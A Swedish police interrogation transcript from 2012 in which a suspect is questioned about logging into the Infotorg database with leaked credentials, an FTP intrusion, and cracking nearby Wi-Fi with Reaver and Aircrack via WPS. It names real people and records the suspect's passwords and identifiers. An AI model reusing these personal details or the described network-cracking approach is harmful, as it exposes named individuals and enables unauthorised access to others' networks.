Fhl: Du googlar WDSL? 

MG: Ja. 

Fhl : Och . . .  ? 

MG: Infotorg. 

Fhl : Och var hade du läst om det här WDSL, du trodde att det var nåt protokoll? 

MG: Ehh . . .  Jag tror det var på Infotorgs hemsida. 

Fhl : Hade dom skrivit vad dom körde för protokoll? 

MG: Jaa, jag tror det, jag är inte säker. 

Fhl : Näe . . .  

Bfhl: Varför googlar du på Infotorg då? 

MG: Jag var väl nyfiken. 

B ful: Är det nåt speciellt du letade efter? 

MG: Näe, inte alls . 

Fhl: Var det den här hemsidan som du hittar dom här kontouppgifterna på då, vad var det? Var det 
nån . . .  ? 

MG: Det var nog forumsidan. 

Fhl: Det var forumsida. I Sverige eller . . .  ? 

MG: Jaa, Sverige.  

Fhl : Kommer du ihåg vad det hette? 

MG: Näe, inte riktigt . . .  faktiskt. 

Fhl: Kommer inte ihåg alls? 

MG: Näe, det måste va länge sen. 

Fhl: När var det då? 

MG: Jaa, det var väl . . . .  Jag minns faktiskt inte, jag har ingen begrepp om tid. 

Fhl : Ingenting? 

MG: Näe, jag har inte alls begrepp om tid, så det är lite svårt å . . . .  

Fhl: Var det i år? 

MG: Ja, det kanske det va. 
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Fhl: Vi är i april nu, men det vet du. 

MG: Det kanske det var. 

Fhl : Det är april nu. 

MG: Men, jag vet inte. 

Fhl : Men, när var det som du började googla och intressera dig för lnfotorg? 

MG: Jag har faktiskt ingen aning. 

Fhl: På ett ungefår då? 

MG: Näe, jag har inget begrepp. 

Fhl: Du har inte det? 

MG: Mm . . .  , har jättesvårt med tid. 

Fhl: Okej . Kan du påminna dig om om det var efter förra sommaren eller. . .  ? 

MG: Näe . . .  Alltså, jag vet faktiskt inte. 

Fhl: Du kan inte tänka så heller då . . .  

MG: Näe, alltså jag har . . .  

Fhl: Om du relaterar till förra sommarn eller julen eller nåt sånt där? 

MG: Näe . . .  Alltså, jag har . . .  Näe, jag har väldigt svårt med tid. 

Fhl: Du kan inte alls bestämma det? 

MG: Näe . . .  

Fhl: Näe. Hur många konton var det här då? 

MG: Ja, några stycken. 

Fhl : Hur många ungefår då? 

MG: Typ 5 kanske. 

Fhl: Fem konton? Hade du prövat allihopa här? 

MG: Aa, j ag tror det. Jag kommer inte ihåg riktigt kontona idag. 

Fhl: Näe . . .  Har du kontona kvar på din dator? 

MG: Näe, ingen. 

Fhl: Ingen? Ingenting? 

MG: Näe, jag . . .  jag tog bort allting jag hade från datorn. 

Fhl: Du tog . . .  ? 

MG: Jag tog bort allting jag hade från datorn. 

Fhl : Från datorn? 

MG: Jaa. Jag fick lov att installera om den, så att då försvann det. 
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Fhl: När var det då? 

MG: När det var? 

Fhl : Mm . . .  

MG: Häromdagen. 

Fhl : Häromdagen? Vilken dator var det som du installerade om på då? 

MG: Det var ju . . .  Ehh . . .  HP och LG Linux. 

Fhl : Du installerade om bägge? 

MG: Mm . . .  

Fhl : Häromdagen? 

MG: Precis. 

Bfhl: När var sist du var inne på Infotorg då? 

MG: Jag vet inte, det var väl . . .  (funderar) . . .  Jag vet inte, j ag . . . . Kanske var en vecka sen. Jag . . .  Jag vet 
inte . . . .  jag vet inte hur länge jag gjort det här heller. 

Fhl : Men, kan du beskriva vad du har gjort bara? Du har alltså loggat in via webbläsningsfåltet? 

MG: Jaa. Sen har jag tittat . . .  tittat på mig själv å sånt där på . . .  några kompisar å kollat vad som stod. 

Fhl : Du har inte gjort nåt annat? 

MG: Näe. 

Fhl: Har du sparat nån information? 

MG: Nej ,  ingenting. 

Fhl: Okej . Har du varit ensam eller har du haft några polare på Internet som har hjälpt dig? 

MG: Alltså, jag har vart ensam. 

Fhl: Du har varit helt ensam? Du har inte googlat det här med nån, nån kontakt du varit . . .  , utan du har 
agerat helt på egen hand här eller . . .  ? 

MG: . .  .ja det här med webben ja . .  

Fhl : När du har varit inne p å  Infotorg. 

MG: Ja? 

Fhl: Det är bara du, det är inga kompisar på Internet eller nåt sånt där utan är det bara du som har gjort 
det här? 

MG: Näe, men jag var ju den som var inloggad vad jag vet . . . .  

Fhl : Men du har inte haft nån kontakt med några andra och berättat vad du har gjort och så där? 

MG: Näe, det vet jag inte. 

Fhl : Du vet inte om du har . . .  ? 

MG: Jag sagt nåt. 

Fhl : Förlåt? 
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MG: Jag vet inte om jag sagt nåt. 

Fhl : Till nån annan? 

MG: Mm . . .  

Fhl: Du  kan ha  gjort det eller . . .  ? 

MG: Jaa. 

Fhl : Vilka är det som du brukar nämna sånt till, är det . . .  ? Vad är det för. . .  , är det okända personer på 
Internet eller är det folk du känner fysiskt? 

MG: Näe, det är väl . . .  ja. Jag vet inte om jag har gjort det. 

Fhl : Du är inte säker? 

MG: Näe . . .  

Fhl : Vad har du sökt på då när du har vart där inne? 

MG: Ja, det sa jag ju. 

Fhl : Ja, du får berätta igen! 

MG: Ja, jag har sökt på mig själv, typ. Å . . .  

Fhl : Inget annat? 

MG: Neej ,  inte . . . . Jag har väl kollat . . .  kollat mig själv å sen kollade jag några kompisar bara - nu vet 
inte jag vilka det var, men . . .  

Fhl: Det är det du har sökt på? 

MG: . . .  

Fhl : Och vad har du gjort med den här informationen då som du har plockat ner då? 

MG: Ingenting. 

Fhl : Ingenting? 

MG: Näe. 

Fhl : Du har bara stängt av webbläsaren och sen så . .  

MG:  Ja, precis. 

Fhl : På den här IBM-datom så finns det ju konton för Lisa. 

MG: Mm . . .  

Fhl : Och så  finns det ju . . .  , i det kontot så  finns det en  fi l  som heter Bash history. 

MG: Ja . . .  

Fhl : Den känner du till? 

MG: Ja. 

Fhl : Du vet vad den gör och den loggar? 

MG: Ja de senaste kommandona man tagit i shellet. 

Fhl : Den loggade? 
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MG: Ja. 

Fhl : Ja, vii har kikat på den . . .  har vi gjort. 

MG: Okej . 

Fhl : Och jag tänkte att . . .  , jag tänkte visa dig ett utdrag från den där loggen här. 

MG: Ja . . .  

Fhl : Vi har ju tittat på det här och vi vet ju ungefår vad som händer, men du får gärna förklara vad du 
gör här. Vi tror att det är du som gör det här. 

MG: ( tittar på utdraget) Ja . . .  

Fhl : Är det du som skriver dom här kommandona? 

MG: ( Tystnad) Jag känner inte igen det, men det . . .  

Fhl : Du har sagt i förhör att din flickvän har ju ingenting med det här och göra. 

MG: Näe, precis. 

Fhl : Näe. Kan du berätta för mig vad som sker där? 

MG: Jag hade väl en textfil där med loggningsuppgiftema. 

Fhl: Ja, men du får berätta! Börja  här så kanske du kan förklara för advokaten samtidigt. 

MG: Jag gör ju en katalog på min flickväns dator, sen synkroniserade jag den med en katalog på en 
annan dator, det gjorde jag. 

Fhl: Vad är det för dator? 

MG: LG linux . . .  är det. 

Fhl: Och det är . . .  ? Vilken dator är det? 

MG: Det är den trasiga. 

Fhl: Men, vems dator är det? 

MG: Den e min. 

Fhl : Ja, okej . Ja, fortsätt då ! 

MG: Men det är det jag gör. 

Fhl: Ja, och sen söker du också. Ser du det? 

MG: Jaa . . .  

Fhl: Eller hur? Du kör grepp. 

MG: Ja. 

Fhl: Så pipar du det till more. Så söker du på ett begrepp. 

MG: Ja, precis .  

Fhl :  Ja, vad är det då? 

MG: Näe, men jag har faktiskt ingen aning om varför jag gör det. 
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Fhl : Vad gör du då? 

MG: Ehh . . .  Letar efter Ludvika. 

Fhl : Du letar efter begreppet Ludvika? 

MG: Ja. 

Fhl: I en . . .  ? 

MG: En fil, ja. 

Fhl : Som heter. . .  ? 

MG: Logg.txt 

Fhl : Vad är det för fil? 

MG: Jag har ingen aning faktiskt. 

Fhl : Vem kan ha gjort det här då? 

MG: Näe, men det måste väl va jag, antar jag. 

Fhl: För du har ju provat flera gånger, antingen försöker du ansluta med datorn och använda eller så 
försöker du ansluta med lP-adress, ser du det? 

MG: Mm . . .  

Fhl: Det är en  lokal IT  -adress, det är på  ditt lan förmodar jag. Eller hur? 

MG: Ja, precis. 

Fhl : Du provar ju och sen funkar det till slut. Den här användaren, Luciddream, är det nånting du 
brukar använda? 

MG: Ja, ibland. 

Fhl: Har du varit med på ett forum som heter Linus-portalen? 

MG: Om jag har vart med? 

Fhl : Jaa, för länge sen. 

MG: Jaa, det tror jag. 

Fhl : Har du haft nåt användarkonto där som heter Lucidddreaml 976? 

MG: Jag har ingen aning, men det kanske jag har. 

Fhl: Ja. Låter det namnet bekant, Lucidddream 1 976? 

MG: Ja. 

Fhl : Är det nånting du använder? 

MG: Jaa, jag har använt, ja. 

Fhl: Ja, just det. Vi har sett lite noteringar från !offer och Ebay, du har köpt några parfymer och såna 
där grejer. 

MG: Ja . . .  

Fhl : Och så finns den där bilden på dig och din flickvän, som finns hemma i lägenheten, finns ju också 
som en avatar på . . .  eller hur? 
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MG: Ja. 

Fhl: Ja. Och så har du använt dig av Lucidddream1 976. 

MG: Ja. 

Fhl : Det stämmer? 

MG: Ja. 

Bfhl: Ja. 

Fhl: Ja, sen så Lisa här din flickvän, hon säger i sitt förhör att du kan hacka dig in i andra nätverk. 

MG: Mm . . .  

Fhl : Trådlösa nätverk som finns i området som du kommer åt. 

MG: Mm . . .  

Fhl: Accesspunkter. Stämmer det? 

MG: Jaa, det kan jag göra. 

Fhl: Hur gör du då då? 

MG: Jag använder . . . .  Jag använder väl nåt program som gör det åt mig. 

Fhl : Du får gärna berätta. 

MG: Jag använder väl nåt program, jag laddar ner, sen så skriver jag bara i en punktens namn och så är 
det klart sen. 

Fhl : Är det? Hur fort går det då? 

MG: Det tar ju nån timme. 

Fhl: Så fort? ! 

MG: Ja. 

Fhl : Gör det det? 

MG: Ja. 

Fhl: Ja, okej . Vad använder du för program då? 

MG: Reaver heter det. 

Fhl : Okej . Är det nåt nytt? 

MG: Ja, det var ganska nytt. 

Fhl : Ja, okej . Får du använda andra program? 

MG: Näe . . .  eller ja, jag vet inte, nåt har jag väl använt. 

Fhl: Ja, okej . Varför har du gjort det då? 

MG: Ja, men jag tycker jag vill lära mig hur man gör. 

Fhl : Ja, okej . Funkar bra? 

MG: Nja, alltså, det funkar ju så där, men det är väl klart det funkar. 
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Fhl: Tar nån timme i alla fall? 

MG: Jaa. 

Fhl: Sen hade du lösenord till accesspunkten eller? 

MG: Ja. 

Bfhl: Okej . Vilka krypteringar har du lyckats ta dig in på då? 

MG: Wpa, wpa2 och wep. 

Fhl: Wpa2 går lika fort? 

MG: Ja. 

Fhl: Den gör det? Spelar det nån roll . . .  

MG: Hur långt lösenord man har? 

Fhl : Det gör inte det? 

MG: Näe. Men det går att knäcka andra nätverk, det är bara dom som är WPS.  

Fhl : WPS? 

MG: Ja. 

Fhl: Och Wpa2 går lika bra alltså? 

MG: Ja. 

Fhl : När du säger WPS, vad menar du då? 

MG: Näe, det är en funktion i routem som heter WPS, man kan logga upp med pin-koder. 

Fhl: Okej . Annars så funkar det inte så bra då? 

MG: Neej ,  det funkar inte alls .  

Fhl : Nehej ,  okej . Hur många accesspunkter i ditt närområde har du lyckats fixa tillträde till då? 

MG: Jag vet inte. 

Fhl: Ungefär? 

MG: Jaa, tio kanske. 

Fhl: Okej . Vad har du gjort med dom uppgifterna sen då? 

MG: Näe, jag vet inte, jag har väl loggat in å kollat lite . Sen . . . .  

Fhl: Har du använt dom? 

MG: Ja, inte alla för en del är ju för långt ifrån . . .  

Fhl: Okej . 

MG: . . .  för å kunna använda sig av. 

Fhl: Men du har använt dom, en del? 

MG: Ja. 
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Bfhl: Vad har du gjort då då? Vad har du använt dom till? Har du surfat från dom, accesspunktema, 
som du har kapat? 

MG: Ja, jag vet inte riktigt. 

Fhl : Men, du vet inte vad du har. . . .  ? 

MG: Jag har kollat hur snabbt det går å sen . . . . Men jag har inte betalt nån Interneträkning på länge, så 
jag tänkte det. . . det är bra å ha i reserv så man kan surfa när dom stänger av det. 

Fhl : Du har en . . . . .  eller vi såg även här att bash history , som vi pratade om tidigare då, i Lisas IBM 
T60-datom, så går det även och se att du har kört Airodump och AirCrack och Reaverr då, som vi ser 
där. Det har vi gjort, ja. 

MG: Mm . . .  

Fhl : Det går även och hitta en  hel del Mae-adresser då från accesspunktema. Det kan ju  stämma, som 
du säger då, och det är ju också program som du har provat då. 

MG: Ja, precis. 

Fhl : Vilket tycker du är bäst då? Vad är bäst om man ska knäcka exempelvis . . . .  ? 

MG: Näe, men Reaver för wpa nätverken. 

Fhl : Okej . 

MG: Och sen är det Airodump för wep. 

Fhl: Okej . Jag såg här även att du hade en riktad antennförstärkare på balkongen. 

MG: Mm . . .  , fast den är ju trasig den dära. 

Bfhl: Men den har du använt eller . . .  ? 

MG: Ja. 

Bfhl: Okej . 

Fhl: Hur bra är den då? 

MG: Den är ganska dålig, faktiskt. 

Fhl : Jaha . . .  Hur mycket hjälper den till då, för räckvidd? 

MG: Jag vet inte, lite i alla fall. 

Fhl: Var har du köpt den nånstans då? 

MG: Från Kina. 

Fhl: Från Kina? Kan man beställa hur som helst en . . .  ? 

MG: Jaa. 

Bfhl: Hur långt tror du att du kommer då när du tar andra nätverk? Hur långt bort? 

MG: Med den där 50 meter. . .  kanske 20. 

Adv: Det blir bara liksom mittemot där du bor? 

MG: Jaa. Men, den är ganska dålig. Jag fick fixaren, men det gick inte. 20 - 50 meter. 

Bfhl: Vad sa du? 
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MG: 20 - 50 meter. 

Bfhl: Det är max, tror du? 

MG: Jag tror det, jag vet inte. 

Fhl: Sen har du ju haft en annan sån här antenn också, den låg inne i vardagsrummet. 

MG: Mm . . .  Jag har för mig att den var ännu sämre. 

Fhl: Men det har i alla fall varit hjälpmedel till och nå accesspunkter? 

MG: Jaa, jag tyckte inte den hära funka så bra, som jag trodde. 

Fhl: Neej .  Du har också en trådlös accesspunkt hos dig. 

MG: Mm . . .  

Fhl : Vad har du för märke på  den? Kommer du ihåg det? 

MG: Ehh . . .  Ehh . . .  Jag vet inte riktigt. Jag vet inte riktigt vad det är för märke på den. 

Fhl : Kommer du ihåg vilket SSID du använder på din accesspunkt? 

MG: Skynet. 

Fhl : Skynet. Hade du kört någon kryptering på din då? 

MG: Mm . . .  

Fhl: Vad körde du för nånting då? 

MG: WP A, tror jag. 

Fhl: Bara? 

MG: Tror det. 

Fhl: Ja. Okej . Din lösen för och kunna logga in på din accesspunkt? 

MG: Ja. 

Fhl : Vad är det för lösenord for och logga in då? 

MG: På min accesspunkt? 

Fhl: Ja, just det. 

MG: Ehh . . .  Jag kommer inte ihåg riktigt. 

Fhl: Du kommer inte ihåg. 

MG: Jag tror jag ändrade det. 

Fhl: Har du det uppskrivet nånstans i datorn? 

MG: Nej .  

Fhl : Surfar du mycket trådlöst hemma? 

MG: Nej . 

Fhl: Inte? 

MG: Jag kör mest via kabel. 
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Fhl: Okej .  Men du hade den där igång i alla fall? 

MG: Jaa. 

Fhl : Så du kör mest via kabel när du . . .  ? 

MG: Ja, det gör jag . . . .  ohörbart . .  . inte så bra hastighet på det. 

Fhl : Näe, så är det ju. Sen hade nån gammal trådlös också, va, som stod ON, som inte var på. Det var 
inga sladdar i den heller. Den stod bara på din router där. 

MG: Jaa, jag vet. Den var trasig. 

Fhl: Den var trasig. 

MG: Det finns inga antenner eller nånting där. . jag trampa på den tror jag. 

Fhl : Robin Åström . . .  

MG: Ja? 

Fhl: Vem är det? 

MG: Ehh . . .  En kompis. 

Fhl : En kompis till dig? 

MG: Jaa, till Lisa. 

Fhl : Till Lisa? 

MG: Också. 

Fhl: Också? 

MG: Mm . . .  

Fhl : Var bor han nånstans då? 

MG: Han bor .. .i stan med. 

Fhl : I Ludvika? 

MG: Ja. 

Fhl: Hur gammal är han då? 

MG: 25 kanske, jag vet inte. 

Fhl : Vet du var han bor på för adress? 

MG: Näe. 

Fhl: Inte alls? 

MG: Näe. 

Fhl : Har han hjälpt dig med dom här grejerna? 

MG: Näe. 

Fhl: Ingenting? 

MG: . . .  
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Fhl: Hur ofta är han hemma hos er och hälsar på då? 

MG: Jag vet inte, han . . .  brukar vara någon gång i veckan tills några gånger i veckan då. 

Fhl : Brukar han använda datorerna nånting, Robin? 

MG: Jaa, har väl hänt kanske. 

Fhl : Vad gör han då? 

MG: Spelar på Svenska Spel t. ex. vet jag eller Betson tror jag . 
Fhl : Okej . Är han duktig på det där som du, på Linux och . . .  ? 

MG: Näe. 

Fhl : Det är han inte? Inte alls? 

MG: . . .  

Fhl : Näe. Du sa i ditt förra förhör att din dator, den här LG:n . . .  LG Linux då som den heter, saknar 
operativsystem. 

MG: Näe, inte saknar, alltså att den . . .  det skulle kompilera om nånting, så kunde jag inte logga in i den 
nåt mera. 

Fhl : Du skulle . . .  ? 

MG: Kompilera om. 

Fhl: Vad skulle du kompilera om för nånting? 

MG: Ja, nåt program. Så funkade det inte efter det. Jag tog bort nåt fel. 

Fhl: Hade du skrivit nåt program själv eller . . .  ? 

MG: Nej ,  nej . . .  

Fhl: Inte? 

MG: Nej .  

Fhl: D u  skulle installera ett program eller . . .  ? 

MG: Ja, precis. 

Fhl: Ifrån källkod? 

MG: Ja. 

Fhl: Okej . Men, den här datorn, den är ju krypterad. 

MG: Jaa, jag kommer inte heller åt den. 

Fhl: Det finns ju en liten bootpartition och sen är det också LUKS eller kryptering då. Så du kommer 
inte ihåg vad det . . .  ? 

MG: Nej ,  men alltså det funkade inte, det är samma som på Lisas fittjuv men lösenordet funkar inte på 
den då. Det måste ha blivit nåt fel .  

Fhl: Lisas dator funkar. 

MG: Ja, men det funkar på HP också. 

Fhl: Funkar det på HP:n? 
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MG: Ja, om man ska starta den, . . .  hårdvaru . . .  

Fhl : Och vad var det, sa du? 

MG: fittjuv 

Fhl : Stora eller små bokstäver? 

MG: Små. 

Fhl : När vi pratades vid sist där så pratade du om ett lösen AP A. 

MG: Jaa, jag tror det var. . . login, lösenordet. 

Fhl: APA123 .  

MG:  Jaa. 

Fhl : Stora eller små? 

MG: Små. 

Fhl: Små bokstäver. Det är inga andra lösenord du har haft? 

MG: Näe. 

Fhl: Den där HP:n skulle ju va . . .  fick vi till uppgift. . .  att det var Lisas mammas dator. 

MG: Mm . . .  

Fhl: Är det nånting som hon skulle ha  sen eller har n i  fått den? 

MG: Nej ,  nej ,  vi har fått låna den for att datorn hade ju gått sönder, som vi sa. 

Fhl : Och inloggningsuppgiftema till HP :n då? 

MG: Men, vi har samma också, men det funkar inte när man slår in det. 

Fhl : Har det blivit så tokigt. 

MG: Jaa, jag testa och boota upp med en annan skiva och boota upp den och köra . . .  montera volymen, 
men det gick inte heller. 

Fhl : Vad brukar du använda för lösenord då? 

MG: Jag har ju sagt det. 

Fhl : Ja, men alltså både du och jag vet ju inte. Jag håller på med datorer och man har ju sina 
standardlösenord som man kör, ofta, eller hur? 

MG: Näe, men . . .  

Fhl: Man hittar ju inte på några nya, eller hur? 

MG: Näe, men jag har ju sagt det. APA123 brukar jag köra 

Fhl: Det är bara det du kör? 

MG: Näe, å så test. 

Fhl: Och så funkar den inte helt plötsligt? 

MG: Näe, . . .  ohörbart . . .  
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Fhl : Det var ju nåt fel i . . . . Ja, antingen har du hittat på nåt nytt lösenord eller så har . . . .  

MG: Näe, det är fel .  . .  vart fel när jag kompilerade om ett program. 

Fhl : Jo, men inte för inloggning inte. 

MG: Jo ! Inloggningen. 

Fhl: Ah ! Det är sällan det blir det ! 

MG: Näe, men det har vart det. Det är därför vi tog hem den andra datorn också också. Den är helt . . .  ja, 
lite kaputt! Jag har inget linux där. 

Bfhl: Är det nån kryptering på HP-datom också? 

MG: Ja, jag tror det. 

Bfhl: Vilken sort? 

MG: Ehh . . .  Jag tror det är LUKS där också AES, fast nu har jag lösenord där på den. 

Fhl: Har du? 

MG: Ni . . .  Ni har ju. 

Fhl : Och det var? 

MG: fittjuw. 

Fhl : juw, inte e på slutet eller . . .  ? 

MG: Näe. 

Fhl: Ja, jag provar den, men det funkar inte. 

MG: Jo, det ska det göra. 

Bfhl: Vad har HP då? 

Fhl: Ja, vi har provat, men det funkar inte. 

MG: Näe, men det som jag satt i alla fall. 

Fhl : Ja, då ska Olle få ställa lite frågor. 

Bfhl: Vi pratade om att du hade använt fem olika konton för och logga in på Infotorg. 

Fhl : Ja. 

Bfhl: Kommer du ihåg nåt, nåt du använder? 

MG: (Funderar) Nånting med test. . . .  ohörbart . . .  kommer ihåg det. 

Bfhl: I namn eller lösenord? 

MG: I namnet. 

Bfhl: Kommer du ihåg ditt lösenord? 

MG: (Funderar) Jag vet inte. 

Bfhl: Minns du om det var långa eller korta? 

MG: Näe, det var kort . . .  var det. 

634 



Förhör med Gustafsson ,  Bror Olof Mathias; 201 2-04-1 7 1 4 : 1 0  d iarienr: 020 1 -K8 1 864- 1 2  

Bfhl: Hur många tecken kan det ha varit? 

MG: Åtta . . .  

Bfhl: Du sa att alla dom här fem kontona, dom hade du kommit över på nåt forum. Var det så? 

MG: Precis. 

Bfhl: Alla på en gång eller . . .  ? 

MG: Ehh . . .  Näe, inte på en gång men nästan. 

Bfhl: Var kom dom ifrån, var det ifrån . . .  ? 

MG: Näe, det var nåt supportforum som ville ha hjälp med såna här . . .  ohörbart . . . . .  och där stod 
lösenorden och den andra. 

Bfhl: Du sa nåt supportforum, för vem? 

MG: Näe, jag vet inte, för .  . . . Vet inte riktigt vad det var. Ett supportforum, jag tror det var för WSDL 
eller vad det heter eller soap vad det var. 

Bfhl: Och vem hade postat dom här lösenorden? 

MG: Det vet jag ju inte. 

Bfhl: Nån person, alltså? 

MG: Jaa. 

Bfhl: Har du använt nåt annat protokoll i http för och accessa? 

MG: Näe, inte. 

Bfhl: Du har inte fört över nån fil på nåt sätt? 

MG: Näe . . .  , det har jag inte. 

Bfhl: Kan Lisa ha gjort det? 

MG: Näe, hon kan ingenting om datorerna nästan. Hon vet hur man startar och sätter igång det. 

Bfhl: Kan nån annan ha varit hemma hos dig och kört FTP mot det här? 

MG: Näe, men det förstår jag inte vem det skulle va. Det tror jag inte. 

Bfhl: Nån har ju kört FTP från din lP-adress mot systemet. 

MG: Okej . 

Bfhl: Vem skulle det vara då? 

MG: Näe, det har jag ingen aning om . . . . inte är det jag i alla fall. 

Bfhl: Inte? 

MG: Näe. 

Bfhl: När man kollar på dom här kontona som har kört FTP här mot, då finns det ett användarkonto 
som heter Luciddre. 

MG: Ja? 

Bfhl: Man kan ju inte ha fler bokstäver än så. 
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MG: Okej . 

Bfhl: Det låter ju ganska likt ditt Luciddream, tycker inte du det? 

MG: Jo. 

Bfhl: Det är inget du känner till? 

MG: Näe, vad pratar du om då? 

Bfhl: Användarkonton . . .  FTP. 

MG: Jaha. 

Bfhl: Här på det intrånget som vi pratar om. 

MG: Jaha, okej . Ehh . . .  Näe, nu vet jag inte. 

Bfhl: Inget du känner igen? 

MG: Näe, . . .  vet inte varför jag skulle använda det för? 

Bfhl: Nej ,  jag vet inte. 

MG: Nej ,  inte jag heller. 

Fhl: Det var en begränsning i antalet tecken, kontonamn et, så att börjar man skriva så blir det ju bara . . . . 

MG: Okej . Men, det vet jag ju till och med. 

Fhl: Det är ett konstigt sammanträffande kanske. 

MG: Näe, jag vet inte. 

Fhl : Tycker du inte det själv? 

MG: Jaa . . .  Jag vet inte, vet inte, tror jag eller tror du på det? 

Fhl: Gör du inte det? 

MG: Näe, jag förstår inte varför jag . . .  jag skulle göra så. För jag tycker in t. . . .  

Bfhl: Det är ju inget användarkonto som dom själva använder och kör. 

MG: Näe . . .  Men jag fattar inte vad . . .  vad ni menar riktigt. 

Fhl : Men Luciddre . . .  

MG: Ja? Ja, vad är det med det? 

Bfhl: Jo, om du kände till det? Det var det det var frågan om. 

MG: Näe. 

Bfhl: Känner du till en fil som heter tfy.source.backdoor? 

MG: Vad hette den? 

Bfhl: tfy.source.backdoor. 

MG: Näe, det gör jag inte. 

Bfhl: Ingen? 

MG: Näe, vad skulle det ha vart då? 

636 



Förhör med Gustafsson , Bror Olof Mathias; 20 1 2-04-1 7 1 4 : 1 0  d iarienr:  020 1 -K8 1 864- 1 2 

Bfhl: Jag frågar om du känner till? 

MG: Näe. 

Bfhl: Det är ingen fil du använt eller . . .  ? 

MG: Näe. 

Fhl : Jag tror vi stannar förhöret här. Det kommer säkert fler förhör sen. 

MG: Ja, ja . . .  

Fhl : Ja. Men, då avslutar vi förhöret ca 14.50.  

Genomlyssnat och rättat av 

John steenmark 
Kriminalinspektör 20 1 2-04- 1 8  
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Polismyndighet 

Stockholms län 
Enhet 

LU/SF "AVSTÄLLD" Förmögenhetsgrupp 
Hörd person 

Gustafsson, Bror Olof Mathias 

Den hörde är ID Styrkt 

Misstänkt Nej 
Tolk 

Brottsmisstanke l Anledning t i l l  förhöret 

Kompletterande förhör angående dataintrång 
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Diarienr 
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1 976 1 1 1 7-7234 

stäl ln ing t i l l  misstänkt - målsägande - vittne 

Språk 

Underrättad om misstanke Underrättad om rätt t i l l  försvarare (best i FUK 1 2§ iakttagna) 

Försvarare/ombud önskas Försvarare/ombud närvarande 

Arash Raoufi Ja 

Förhörsledare 

John G Steenmark 
Förhörsplats 

Häktet Kronoberg 
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Wahlström, Olle 

Berättelse 
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Typ a v  förhör Förhörssätt 

RB 23 : 6  Ljudbandsförhör 

Utskrivet av 

KA 

Fhl : Då börjar vi här då och då undrar jag om du har kommit på något som du 
vill lägga till eller ändra från det tidigare förhör eller det du sa under 
häktningsförhandlingen, om det är nånting som du har funderat på? 

MG: Näe. 

Fhl : Det är ingenting som du vill lägga till eller ändra? 

MG: Näe. 

Fhl : Okej . Vilka datorer och telefoner som fanns i bostaden har du använt så 
att säga rent allmänt? 

MG: Hur då "använt"? 

Fhl : J a, vilka har varit igång och vilka har du kört så att säga. Du hade ju fler 
datorer och sånt där hemma. 

MG: Men, det var väl . . .  (funderar) . . .  vad heter den, LO-datorn. 

Fhl : Jaa? 

MG: Å sen svarta Sony X:an, mobilen. 
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Fhl : Är det dom du har använt mest? 

MG: Ja. 

Fhl : Själv? 

MG: Fast inte bara själv. 

Fhl : Näe . . .  Vilka mer då har du använt den utrustningen som du nyss sa? 

MG: Det vill jag inte säga ! 

Fhl : Varför vill du inte säga det? 

MG: För att j ag inte vill. 

Fhl : Är det det enda svaret du vill ge på den frågan? 

MG: Jaa. 

Fhl : Vilka av . . .  eller . . . . Den här datorn och den här telefonen, har du använt 
dom för att accessa Internet? 

MG: Jaa, dom har vart uppkopplad på Internet. 

Fhl : Och när du har gjort det, vilka Internetuppkopplingar har du använt då? 

MG: Vad menar du? 

Fhl : Ja, vi har ju pratat tidigare om att du har ju haft ett eget 
Internet-abonnemang och sen så har du ju erkänt att du använt andras 
uppkopplingar också. 

MG: Ja, främst mitt eget . . .  främst mitt eget. 

Fhl : Främst ditt eget, men också . . .  ? 

MG: Näe, jag vet inte riktigt. 

Fhl : Andras Intemetabonnemang, andra accesspunkter som du sa tidigare 
eller . . .  ? 

MG: (Funderar) . . .  Ja, främst mitt bara sen vet jag inte riktigt dom andra. 

Fhl : Men, tidigare så har du ju sagt att du har använt andras accesspunkter. 

MG: Jag sa . . .  sa främst mitt. Jag vet . . .  .Jag sa "jag vet inte" på dom andra. 

Fhl : Okej . När du har. . .  , du sa tidigare att du hade gått in på Infotorg, det 
berättade du för oss .  
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MG: Mm . . .  

Fhl : Vilken utrustning har du använt då när du har gjort det? 

MG: Näe, det är främst min egen dator. 

Fhl : Och det är LG Linux . . .  

MG: Precis ! 

Fhl : . . .  om jag har förstått dig rätt då. 

MG: Mm . . .  

Fhl : Har du använt nån telefon för det också? 

MG: Ehh . .  . Inte vad jag kan minnas . 

Fhl : Vad har du sökt för uppgifter på Infotorg då när du har varit där? 

MG: Jag har redan svarat på den där frågan. 

Fhl : Ja, fast vi måste ställa den igen. 

MG: Varför då? 

Fhl : Därför att åklagaren vill ha svar på det. 

MG: Näe, jag sa att jag sökt bara på person i min närhet. 

Fhl : Vilka personer är det? 

MG: Det vet jag inte riktigt, det minns jag inte nu. 

Fhl : Är det bara personer eller har du sökt på nån annan kategori? 

MG: Näe, det är väl främst personer. 

Fhl : Och de övriga då? 

MG: Vad då "de övriga"? 

Fhl : Ja, "främst" sa du, då . . .  ? 

MG: Näe, men jag vet inte riktigt. 

Fhl : Inom det så ryms ju kanske annat också. 

MG: Ja, j ag vet inte riktigt. 
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Bfhl: Vad menar du "personer i din närhet" ,  är det nån som du är släkt med 
eller . . .  ? 

MG: Ja, precis . 

Bfhl: Är det nån flera än dom du är släkt med? 

MG: Va? 

Bfhl:  Är det andra än dom du är släkt med? 

MG: Näe, alltså jag vet inte riktigt vilka slagningar jag har gjort. 

Bfhl: Tänkte om det kan vara bekanta? 

MG: Ja, kanske. 

Fhl : Kommer du inte ihåg nu eller . . .  ? 

MG: Nej , jag vet inte riktigt faktiskt. 

Fhl : Har du gjort det här själv? 

MG: Vad då för nåt? 

Fhl : Slagit på Infotorg. 

MG: Ja, vad jag vet. 

Fhl : Har du lämnat ut dom här inloggningsuppgiftema på Infotorg till någon 
annan? 

MG: Ehh . . .  Näe, jag har inte gjort det. 

Fhl : Har Lisa haft tillgång till dom? 

MG: Näe. 

Fhl : Och Lisas och din vän Robban då? 

MG: Näe. 

Fhl : Han har inte haft tillgång till uppgifterna? 

MG: Näe. 

Bfhl: Hur hade du dom här inloggningsuppgiftema sparade? 

MG: (Funderar) . . .  Ehh . .  . I  en text-fil. 
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Bfhl:  Vart fanns den textfilen nånstans? 

MG: Det vill jag inte säga. 

Bfhl:  Minns du hur många uppgifter det var du hade sparade? 

MG: Näe. 

Fhl : Har du haft en pågående inloggning på Infotorg igång nån gång då du har 
haft datorn på ståendes hemma? 

MG: Det är mycket möj ligt. 

Fhl : Har du haft folk hemma? 

MG: Jaa. 

Fhl : Det har du? 

MG: Ja. 

Fhl : Vad är det för människor som du har haft hemma då? 

MG: Ja, lite olika bekanta. 

Fhl : Är det nån man som du kan säga? 

MG: Neej .  

Fhl : Inte än? 

MG: Neej . 

Fhl : Vem är Conny Holm? 

MG: Conny Holm? 

